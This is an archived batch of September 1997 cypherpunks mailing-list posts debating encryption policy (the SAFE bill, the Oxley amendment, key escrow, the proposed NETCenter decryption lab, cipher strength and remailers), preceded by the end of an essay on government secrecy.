   economic and ideological race for world supremacy between
   the Soviet Union and the United States, a string of
   administrations continued this dance uninterrupted for fifty
   years. The cold war provided the foreign threat to justify the
   pervasive Washington belief that secrecy should have the
   greatest possible latitude and openness should be restricted as
   much as possible -- constitutional liberties be damned.

   With the collapse of the Soviet Union as a world power in 1990,
   even the pseudo-war rationale evaporated. But the partisans of
   secrecy have not been willing to accept the usual terms of
   peacetime. They have made clear their intentions to preserve
   and extend the wartime system. They will find a rationalization: if
   not the threat of the Soviet Union, then the goal of economic
   hegemony. Thus the U.S. government now needs to keep
   secrets to give an advantage to American corporate interests.
   Yet it is entrepreneurs who have been making the most use of
   FOIA -- not journalists, not lawyers. As of 1994, the great
   preponderance of all FOIA requests have been for business
   purposes. As the framers of the Constitution understood, the
   free exchange of ideas is good for commerce, but this idea has
   been widely forgotten in the years since the passage of the 1947
   National Security Act.

   Only recently in the history of the world's oldest republic has
   secrecy functioned principally to keep the American people in
   the dark about the nefarious activities of their government. The
   United States is no longer the nation its citizens once thought: a
   place, unlike most others in the world, free from censorship and
   thought police, where people can say what they want, when they
   want to, about their government. Almost a decade after the end
   of the cold war, espionage is not the issue, if it ever really was.
   The issue is freedom, as it was for the Minute Men at Compo
   Hill. The issue is principle, as it was for Ernest Fitzgerald, who
   never signed a secrecy contract but retained his Pentagon job
   because he made his stand for the First Amendment resonate in
   Congress. Until the citizens of this land aggressively defend
   their First Amendment rights of free speech, there is little hope
   that the march to censorship will be reversed. The survival of
   the cornerstone of the Bill of Rights is at stake.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 25 Sep 1997 13:21:19 +0800
To: Michael Brock <hrast@flash.net>
Subject: Re: Oxley Amendment
In-Reply-To: <01BCC93A.D0869BA0@dasc12-105.flash.net>
Message-ID: <Pine.BSF.3.96.970925071158.21770B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 24 Sep 1997, Michael Brock wrote:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> I wonder if Mr. Solomon of NY will rethink his decision to not bring 
> up SAFE without Oxley to the entire House after the unprecedented 
> coaltion of companies and individual groups that came together to 
> make sure that mandatory key recovery stays a "1984" like dream.   I 
> find it incomprehensible that one man, would block the introduction 
> of this bill, after it being proved that this is what his 
> constituents want....

What in the world makes you believe that Mr. Solomon's constituents would
want SAFE to go the the floor? SAFE *must* be defeated, with or without
the Oxley ammendment.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 25 Sep 1997 23:31:23 +0800
To: Tim May <lizard@mrlizard.com>
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <3.0.3.32.19970924181510.0314c160@dnai.com>
Message-ID: <v0300787fb04fbca2155a@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:18 PM -0700 9/24/97, Tim May wrote:
>The good news today is that if Salomon keeps to his word, the Security and
>Fascism Through Escrow Act is dead, dead, dead.

Even if he doesn't, I don't think Clinton will sign it (in its present,
export enabling, criminal sentence enhancing) form.

The scary thing is that <sarcasm> great lover of the technology industry
and the Bill of Rights </sarcasm) Senator Finestein will pass a bill in
Oxley form through the senate, and the bill that goes to Clinton will be
written in the conference committee.  It's as scary as letting the
congresscritters hold a constitutional convention.

[My spell checker gave me the option of "Replace" for "Finestein".  I was
tempted.]


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Thu, 25 Sep 1997 20:46:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Oxley Amendment
Message-ID: <970925083307_1823151540@emout19.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



I'd like to see a path for this thing too...
maybe declan can help there...
I'm gatherin addressess for my own
mail, fax, phone thing...

Larry.
pgp pubkey: http://www.jetlink.net/~aargh/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 25 Sep 1997 14:51:38 +0800
To: Lee Tien <tien@well.com>
Subject: Re: Oxley Amendment
In-Reply-To: <v03007800b04fa86af0f9@[163.176.132.90]>
Message-ID: <Pine.BSF.3.96.970925084053.21871A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 24 Sep 1997, Lee Tien wrote:
> 
> I'd love to see a simple map/diagram of all the inflection points where the
> FBI/NSA forces can further twist SAFE.  Call it morbid curiosity.  Last
> year's model was bad, and it's only gotten worse.

Such a diagram would be interesing to have. Not everybody watched "How a
bill becomes law". :-) And there is sigificant interest in this issue from
our international readers that are not as familiar with the political
process in the US as perhaps some of us US citizens are.


 -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 25 Sep 1997 22:34:54 +0800
To: cypherpunks@cyberpass.net
Subject: opponents of GAK
Message-ID: <Chameleon.875193572.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain





Has anyone out there been keeping track of all the organizations, 
corporations and others who have come out against GAK?

Pointers would be appreciated.

alan
------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/25/97
Time: 09:17:21
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 25 Sep 1997 22:04:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SAFE = Security and Fascism through Escrow
In-Reply-To: <v03102801b04f3763977b@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970925095902.17035D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 24 Sep 1997, Tim May wrote:

> 
> As our Big Brothers in D.C. continue to abuse the language by taking SAFE
> in a direction 180 degrees from the original intentions, it seems only fair
> that we rename the bill the Security and Fascism through Escrow Bill.
> 
> --Tim May

Erm, Tim you've somehow managed to misspell SODOMY.  There's no securiy in
SAFE, by definition, it's a security hole through which the citizens get
sodomized.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 25 Sep 1997 22:29:33 +0800
To: cypherpunks@cyberpass.net
Subject: National ID as Identity Authentication answer for EC?
Message-ID: <v03110756b05020a5363c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Evidently these idiots haven't heard of digital bearer certificates...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: rhornbec@counselpop.com
Mime-Version: 1.0
Date:         Thu, 25 Sep 1997 05:22:13 -0500
Reply-To: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From: Rick Hornbeck <rhornbec@COUNSEL.COM>
Subject:      National ID as Identity Authentication answer for EC?
To: DIGSIG@VM.TEMPLE.EDU

An interesting article by Thomas P. Vartanian appeared in the September 24
issue of the American Banker discussing the increasing need for identity
authentication in electronic commerce and the use of National ID
Verification Standards (NIVS) as a possible solution.

Although the article avoids proposing specific ultimate sources of identity
it does mention that "the adoption of these standards might facilitate the
development of a national market for certificate authority
errors-and-omissions insurance. It might also facilitate the creation and
operation of what one observer has called 'cybernotaries.'

Without uniformity in the authentication process, the efficiencies of
certificates and the effectiveness of electronic commerce will be undercut."

Following is a brief excerpt. Complete article available at:
http://www.jya.com/national-id.htm

====================


                             24 September 1997
                        Source: The American Banker

---------------------------------------------------------------------------

Comment/ The Case for National ID Verification Standards

By Thomas P. Vartanian
Fried, Frank, Harris, Shriver & Jacobson

Financial fraud depends heavily on perpetrators' ability to hide their
identities or assume those of others. Because the Internet is a medium for
anonymous communication, it has been and will continue to be a breeding
ground for innovation in electronic fraud.

Proponents of electronic commerce seek to limit this risk through the use
of digital certificates and similar methods of electronic authentication
and verification. This raises a complex question for the trusted third
parties, many of which may be banks, that certify the issuance and use of
public keys in the digital signature arena: What does it mean to certify
that a specific public key represents X in a world where the identification
of X is an imprecise science?

Authentication must be the starting point in any electronic network
transaction. Lacking the customary modes of physical identification, the
parties to a faceless transaction in cyberspace need proof from a third
party that each party is who he or she purports to be.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 25 Sep 1997 22:36:10 +0800
To: cypherpunks@cyberpass.net
Subject: American Banker - National ID - addendum
Message-ID: <v03110759b050212353be@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rhornbec@counselpop.com
Mime-Version: 1.0
Date:         Thu, 25 Sep 1997 05:59:31 -0500
Reply-To: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From: Rick Hornbeck <rhornbec@COUNSEL.COM>
Subject:      American Banker - National ID - addendum
To: DIGSIG@VM.TEMPLE.EDU

Either the Temple listserve is automatically limiting the length of my
posts (<gr>)
or I discovered a new e-mail bug. Here is the balance of the
excerpt from the American Banker article I intended to post earlier.

====================

What actions should a certificate authority be required to take in this
imperfect system to certify that X's public key actually is being used by
X? To allow the electronic marketplace to operate effectively and
efficiently, at a minimum certificate authorities must be able to achieve
some level of certainty that if they have prudently conducted the due
diligence required, they cannot be held responsible for fraud or
malfunctions. National Identification Verification Standards-NIVS-would
underscore that there should be only a limited range of actions for which a
certificate authority should be held responsible in an electronic
transaction.

These standards eventually would need to be truly universal because of the
globality and borderlessness of cyberspace. Moreover, such standards could
level the playing field vis-a-vis the different levels of trust that might
otherwise be accorded certificate authorities of various sizes, financial
capacity, name recognition, and national origin.

What should the elements of these national verification standards be? The
more that the system relies on primary "root" documentation (paper or
electronic) certified by the originator, the greater the certainty, albeit
imperfect, that the certificate authority can achieve.

The adoption of an integrated certification data base accessible to all
certificate authorities must also be explored. A network that will allow
each certificate authority to cross-reference digital certificates and
confirm the issuance of multiple certificates to the subscriber will allow
the digital signature market to function more efficiently and safely.

>From a legal point of view, a digital certificate is a form of warranty.
Warranties ascribe and allocate rights in a transaction, a business that
commercial banks happen to understand quite well. But a digital certificate
is not meant and should not be viewed as unlimited insurance for the use of
the certificate or the successful completion of an electronic transaction
facilitated by that certificate.

In that regard, the adoption of these standards might facilitate the
development of a national market for certificate authority errors-and-
omissions insurance. It might also facilitate the creation and operation of
what one observer has called "cybernotaries."

Without uniformity in the authentication process, the efficiencies of
certificates and the effectiveness of electronic commerce will be undercut.
Richard N. Hornbeck
Electronic Commerce Services

"The most important step in arriving at the right answer, is asking the
right question." Albert Einstein ("Al").

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@panix.com>
Date: Thu, 25 Sep 1997 22:31:10 +0800
To: cypherpunks@toad.com
Subject: Domain name hearings starting right now.  (www.democracy.net)
Message-ID: <199709251410.KAA23498@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



The domain name hearings are going on right now (you can listen in realaudio)
at http://www.democracy.net/

The future of the infrastructure hangs in the balance of this debate.

Check it out.

-S





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 26 Sep 1997 03:06:12 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <3.0.3.32.19970924223100.03601a28@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19970925101645.006f6580@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:27 PM 09/24/1997 -0700, Tim May wrote:
>At 7:31 PM -0700 9/24/97, Robert A. Costner wrote:
>>In Georgia the presence of a beeper is synonymous with drug sales.  At
>>least with law enforcement agencies.  Probationers and parolees are not
>
>In Silicon Valley, the presence of a beeper is synomynous with one being a
>technician or someone similar.  To keep the furnaces running, or whatever.

Beepers are also universal with sales people, partly because
cell phones don't have enough battery life; the new PCS phones that
combine the two capabilities may change this.
Computer dealer; drug dealer; - the latter knews what he's selling...

These days, beepers are being marketed for school kids,
partly so the parents can reach them but also so friends can.
Works fine in yuppie-spawn schools, yet inner-city schools consider
beepers to be evil and ban them.


>It appears we live on different planets. Further evidence that not only
>should we allow Georgia secede, we should kick them out.
>
>All the more reason for the Bill of Rights to be scrupulously adhered to.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 25 Sep 1997 22:38:40 +0800
To: Carl Ellison <cme@cybercash.com
Subject: Re: Emphasizing a point by Donald Eastlake re key recovery
Message-ID: <199709251421.HAA27813@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Date:          Wed, 24 Sep 1997 10:15:45 -0400
> To:            Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
> From:          Carl Ellison <cme@cybercash.com>
> Subject:       Re: Emphasizing a point by Donald Eastlake re key recovery 
> Cc:            cypherpunks@toad.com, Ron Rivest <rivest-only@theory.lcs.mit.edu>,
>                cme@cybercash.com
> Reply-to:      Carl Ellison <cme@cybercash.com>

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 09:34 AM 9/23/97 +0100, Ross Anderson wrote:
> >There is also the point that the vast majority of encryption keys are
> >actually used for authentication rather than confidentiality. The keys
> >that encrypt your bank card PIN en route from the ATM to the bank, the
> >keys in your satellite TV decoder, the keys in your gas meter and your
> >postal meter - in fact the majority of all DES keys in use - are about
> >authentication. In theory most of them could be replaced by digital 
> >signature mechanisms but given the size of the installed base, it 
> >won't happen anytime soon.
> 
> For what it's worth, I once got an opinion from NSA's export control office 
> that I could use any kind of crypto I wanted (e.g., even triple-DES) if all 
> I'm doing is protecting a channel carrying a password (like the PIN), 
> because that's an authentication function and therefore to be encouraged.  I 
> didn't get this in writing, however, so I'd have to go for it again.
> 
>  - Carl

Well, I dunno. About 18 months ago, I was involved with the 
negotiations over the exportability of an SSL equipped web
server I had helped develop. The export model used 40 bit RC4
and 512 bit keys. The initial version used 3DES to encrypt 
stored private keys, and this was turned down. I modified it to
use single DES, and it passed.

Note that this was for secret key storage only.

Peter Trei
trei@Process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 25 Sep 1997 22:34:47 +0800
To: Tim May <tcmay@got.net>
Subject: Re: 767 MHz Alpha, opinion_mode_enabled (fwd)
In-Reply-To: <v03102806b045c94f0979@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970925102525.17035G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 17 Sep 1997, Tim May wrote:

> At 9:37 AM -0700 9/17/97, Ray Arachelian wrote:
> >I 'spose it's gettin' to be time that we ditched them 512 bit keys and
> >them 40 bit keys. :)  The very existance of a 2.6GHz CPU - yes freon
> >cooled is more than enough...
> 
> As Ray knows, processors are getting more powerful at a very slow rate.
> Mere doublings and triplings in speed are what we're seeing in the newer
> generations of processors. (And these require multibillion dollar wafer
> fabs to build.)
> 
> A 400 MHz Pentium II, or a 767 MHz Alpha, or whatever, is significant for a
> lot of business applications--faster transaction processing, better video
> processing, etc.--but it ain't meaningful for breaking ciphers.

True, but my point wasn't that cyphers can be broken faster, but rather
that we can use larger key lengths and get more strength out of our
cyphers now without having huge impacts on performance. :)


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Thu, 25 Sep 1997 19:01:46 +0800
To: cypherpunks@Algebra.COM
Subject: Remailers (was Re: The problem of playing politics with our constitutional rights)
Message-ID: <342ce305.71054368@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 24 Sep 1997 21:11:07 -0500, Eric Nystrom <enystrom@nscee.edu> wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Wed, 24 Sep 1997 phelix@vallnet.com wrote:
>
>> >>remailer could automatically announce itself to the world (perhaps via a
>> >>newsgroup post).  The various listing services would pick up on this.  The
>> >>more automated it is, the better.
>> >
>> >How about posting availability notices alt.remailer-availability.announce
>> >(create it if necessary) or alt.anonymous.messages?
>> 
>> Yes, I was thinking along these lines, though right now I'm concentrating
>> on the client end of things.
>
>I'm not sure that Usenet would necessarily be the best idea for a primary
>source of remailer availability notices.  After all, the latency
>associated with Usenet might be a problem. 

That's a problem only if we expect remailers to stay up only for a few days
at a time.  I'm sure such guerilla remailers will exist, but will they be
the dominant type of remailers?

> And more to the point, some of
>us have a problem reaching a news server.  On a company LAN connected to
>the Internet, for example, any and every J. Random Eudora-user could or
>would become a remailer.  (You could have 10 or 50 or more remailers per
>organization -- enough that it would be difficult for the sysadmins to
>squash them all.)  But most companies do not allow access to a news
>server.  

I suspect that a company that didn't allow access to a news server would
also not allow you to run a remailer behind their firewall. 

> A client could telnet out to someplace in the outside world to
>announce its presence or whatever, but not post to or read from Usenet.

But then we're back to the problem of having a centralized service that can
be attacked.  I suppose it's unavoidable.  Let's hope we at least have many
different pinging services.

>I think Usenet would serve an important role as a secondary, backup source
>of information that would support and mirror the pinging services.  But
>to have Usenet as the only source of remailer availablility might be a
>little short-sighted.

I just had a thought.  Run a pinging service through the eternity servers.



Anyway, in private email, the thought of digital postage stamps has come
up.  Are there any ecash system that offer total payer anonymity (payee
anonymity is not absolutely necessary here)?  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 26 Sep 1997 02:12:14 +0800
To: cypherpunks@toad.com
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <Pine.LNX.3.95.970925120717.17603A-100000@vorlon.mit.edu>
Message-ID: <v03102801b0504a3268d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 9:07 AM -0700 9/25/97, Declan McCullagh wrote:
>---------- Forwarded message ----------
>Date: Wed, 24 Sep 1997 19:06:33 -0600
>From: Aaron Weissman <aweissman@mocc.com>
>To: "'fight-censorship@vorlon.mit.edu'" <fight-censorship@vorlon.mit.edu>
>Subject: Why the White amendment is a good idea

>The NETCenter is a great idea.  Very few of us
>would argue that our society has an interest
>defining rules and in prosecuting their

The NETCenter is largely duplicative, though will be much less effective,
than the NSA. I strongly urge Aaron and others to review the history and
capabilities (and limitations) of the NSA.

>transgression as crimes.  Once we have agreed on
>that point, the issue changes to a (still very
>important) discussion on methods.  By creating a
>decryption lab (and funding it with tremendous
>amounts of money), our society will fulfill the
>basic obligation to protect against the
>transgression of our rules.

The COMINT mission of the NSA _already_ consumes vast amounts of money,
with an estimated staffing (for the NSA as a whole) of 100,000 persons.
(Obviously many of them are not doing SIGINT and COMINT, but a fair
fraction are. And the Agency has had five decades or more to build up this
staff.) The NSA also draws on additional resources, including the Defense
Language School and related facilities for translation, the DOD branches of
signals intelligence (Naval Security Group, Air Force Intelligence, Army
Security Agency, etc.), and has ties to CIA, DIA, NRO, etc.

It is UNLIKELY IN THE EXTREME that a NETCenter could even remotely approach
the NSA in decryption capabilities, so the funding of NETCenter would
mostly be throwing away money for a feelgood, public "demonstration site."

(The NSA sometimes assists with law enforcement. But often it does not. I
grant that a purely civilian codebreaking facility might once have been
needed. But for reasons I'll get to below, it's much too late to start now!
And much too expensive.)

>However, despite the worst intentions of some,
>this laboratory cannot be an indiscriminate tool.
> The United States Government may be a the
>ultimate example as an organization possessing
>"national means," however, it's resources are far
>from infinite.  In addition, such a lab would
>require our very best and brightest
>mathematicians. We may be able to afford one of
>these labs, but more would be a large stretch.

Indeed, and those bright mathematicians who are also willing to work as
GS-14s. 15s, and so on, are mostly at the NSA now. Again, look into the
funding of the NSA and ask if the country would be willing to make a
similar expenditure for NETCenter. (Not that it will help.)


>Once this NETCenter exists, the demands for it's
>services will soon outstrip it's resources.  In
>addition, the massive cost involved per use would
>be large enough to attract public scrutiny.  I

Once the NETCenter failed to decypt the first several dozen instances of
PGP or 3DES thrust before it, I rather expect enthusiasm will wane.


>have no doubt that our government could crack the
>very largest keys if it were to through billions
>of dollars at the problem.  However, in an age of

Aaron, you really need to get up to speed on cryptography. Even the basics
of it.

When you do, you'll discover that it is strongly believed (though not yet
proved) that leading ciphers are "hard" to break. Conventional
cryptanalysis is useless, i.e., the kind where fragments of text are used
to help produce a key.

Even the NSA has acknowledged that cryptanalysis of modern ciphers is
essentially impossible, at least from intercepted ciphertext. (Interception
of signals, a la TEMPEST, may be a different matter, and of course there
are important civil liberties issues involved in setting up such
surveillance operations.)

As to you point that "very largest keys" could be cracked with "billions of
dollars," check out some of the "work factor" (difficulty of brute forcing)
estimates for modern ciphers. Schneier's "Applied Cryptography" is a good
place to start.

You will see that some ciphers have work factors for readily achievable
keys which exceed the energy in the entire universe. (The "secure phone" I
have, from Communication Security Corporation, uses 3DES. This is something
like 100 bits more in key length than ordinary DES. Even if a "Wiener
machine" can be built to break ordinary, 56-bit DES, at a cost of perhaps a
million bucks or so for the entire machine (and then perhaps a few hundred
bucks per crack, it is estimated), think of the cost of the machine to
break 3DES! 2^100 times harder is about 10^30 times harder. Now that's a
lot of money! The "tab" for each American  taxpayer would be about $10^22.

(There is a slight possibility that dramatic speedups in cracking could
come from mathematical advances. DES and other ciphers are under constant
scrutiny, and 22 years or more of scrutiny of DES has produced a limited
speedup.)

The point is this: modern ciphers are for all intents and purposes
"unbreakable."

Though we as technical people are usually cautious to say that
"unbreakable" is a dangerous word, the fact is that it's our current best
description of what a 2000-bit RSA key is, and that's all there is to it.

See Schneier for more on why this is so.


>I have no doubt that a considerable portion of
>the NETCenter's time will be spent in matters of
>foreign intelligence.  (As I said, we cannot
>afford two massive decryption laboratories -- the
>NSA will have to give its decryption mandate to
>this new agency).  In sum, this amendment gives

Right. I'm sure that will happen.

- --Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



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=/s7n
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alano@teleport.com>
Date: Fri, 26 Sep 1997 02:16:29 +0800
To: cypherpunks@Algebra.COM
Subject: A maybe workable idea
Message-ID: <3.0.3.32.19970925105638.03aa68d4@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



I am not certain about how well this would work.  I am certain that the LEA
community would try and compromise or stop it at some point.

The idea is to get the ACLU or some other group with some name recognition
in the software/privacy/free-speech realm to sponsor a program to certify
programs with crypto as GAK-free.  I think that having software with a big
yellow sticker stating "certified not to contain Government backdoors or
other peepholes into your data" would have a useful effect on the buying
public.

I wonder if a "truth in labeling" law could be pushed through...  Imagine a
big sticker on products that say "Government agencies can read files
created by this product without your knowledge".

Probably a pipe dream.  I can see a number of problems with it.  Microsoft
would bully their way into getting the cert GAKed or not.  The FBI would
probably put pressure on the retail chains to avoid products pushing
political messages such as freedom from Government intrusion from being sold.

It would be worth a try at least...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Fri, 26 Sep 1997 02:25:42 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <Pine.LNX.3.95.970925120717.17603A-100000@vorlon.mit.edu>
Message-ID: <3.0.3.32.19970925110022.031567f4@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 10:33 AM 9/25/97 -0700, Tim May wrote:
>Once the NETCenter failed to decypt the first several dozen 
instances of
>PGP or 3DES thrust before it, I rather expect enthusiasm will wane.

But it doesn't have to decrypt it. It has to tell the cops:
"OK, you need to send a guy in there when he's not home and look for 
a file called 'mykey.gkr' on his computer...it will probably be in 
c:\pgp. Then you need to plant a video camera to watch him type his 
passphrase. Then we can read his mail, no sweat."

I don't know why I keep making this point, but the weak point in 
crypto is NOT the length of the key, it's the human factor. Go after 
the HUMAN USING THE CRYPTO via traditional spy/police methods, and 
smeg the key length.

But to do that, you see, you'll need warrents, reasons for 
suspiscion, and, becuase of the effort involved, you'll only do it 
for serious crimes with a strong liklihood of conviction. *That* is 
the 'stauts quo' law enforcement *claims* to want.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCqmtTKf8mIpTvjWEQKP2QCg23fm4sNAs0Uj9d2DZT/60ZRWgeIAoI37
/RgFkiiCHHo10o2/8yiBTj+i
=af7a
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brock N. Meeks" <brock@well.com>
Date: Fri, 26 Sep 1997 02:24:07 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: How the FBI/NSA forces can further twist SAFE
In-Reply-To: <v03007801b05053415c14@[204.254.21.85]>
Message-ID: <Pine.3.89.9709251100.A6286-0100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 25 Sep 1997, Declan McCullagh wrote:

> 4. Conference committee between the Senate and House versions.
> 
> Underlying all this is the threat of a presidential veto. What pro-crypto
> legislation can survive it? That will give the FBI/NSA more leverage when
> pushing for their kind of "compromise." Especially because of the slothful
> speed of the Senate, the process will take close to a year, probably.

Yeah, well, except that there isn't a year left for this Congress.  If it 
doesn't get done before the next recess (in which we don't see Congress 
again until it becomes teh 106th, next year) the slate is wiped clean and 
we start from ground zero.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 02:57:19 +0800
To: Lizard <lizard@dnai.com>
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <3.0.3.32.19970925110022.031567f4@dnai.com>
Message-ID: <Pine.GSO.3.95.970925110922.1676D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Lizard, you're missing the point. 

First, the NETcenter was sold to the Commerce cmte yesterday as a way to
perform successful cryptanalysis on enciphered documents. The rhetoric was
all about keeping codebreakers up to date with codemakers. To anyone with
a glimmering of a clue about modern cryptography, this is complete
bullshit. Industry lobbyists on Monday also tried to push this line at a
press conference; I called them on it and they said, no, I was wrong, this
center would let the FBI keep up with the times. Yeah right.

Second, the NSA already performs these duties. Whether they should be
allowed to or not is a different argument. 

Third, there's no funding appropriated for the NETcenter. It's useless
without it. Again, it's bullshit.

Fourth, even industry lobbyists admitted to me privately yesterday that
NETcenter was a scam designed entirely to head off Oxley.

-Declan


On Thu, 25 Sep 1997, Lizard wrote: 


> At 10:33 AM 9/25/97 -0700, Tim May wrote:
> >Once the NETCenter failed to decypt the first several dozen 
> instances of
> >PGP or 3DES thrust before it, I rather expect enthusiasm will wane.
> 
